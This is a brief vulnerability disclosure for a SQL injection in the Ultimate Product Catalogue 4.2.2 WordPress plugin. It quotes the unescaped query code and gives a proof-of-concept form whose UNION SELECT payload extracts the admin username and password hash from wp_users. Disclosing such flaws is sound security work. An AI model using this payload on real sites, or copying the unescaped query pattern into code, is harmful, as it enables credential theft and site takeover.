Ultimate Product Catalogue 4.2.2 Sql Injection

Homepage:

https://wordpress.org/plugins/ultimate-product-catalogue/

Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

File / Code:

Path: /wp-content/plugins/ultimate-product-catalogue/Functions/Process_Ajax.php

Line: 147

global $subcategories_table_name;

	$Path = ABSPATH . 'wp-load.php';

	include_once($Path);

	global $wpdb;

	

	$SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM $subcategories_table_name WHERE Category_ID=" . $_POST['CatID']);

	foreach ($SubCategories as $SubCategory) {$Response_Array[] = $SubCategory->SubCategory_ID; $Response_Array[] = $SubCategory->SubCategory_Name;}

	if (is_array($Response_Array)) {$Response = implode(",", $Response_Array);}

	else {$Response = "";}

	echo $Response;

Proof of Concept:

1 – Using url, sqli by get:

<*form method="post" action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

delete “*” in code

2 – Result:

 

Timeline:

  • 22/05/2017 – Discovered
  • 24/05/2017 – Vendor finded

Leave a reply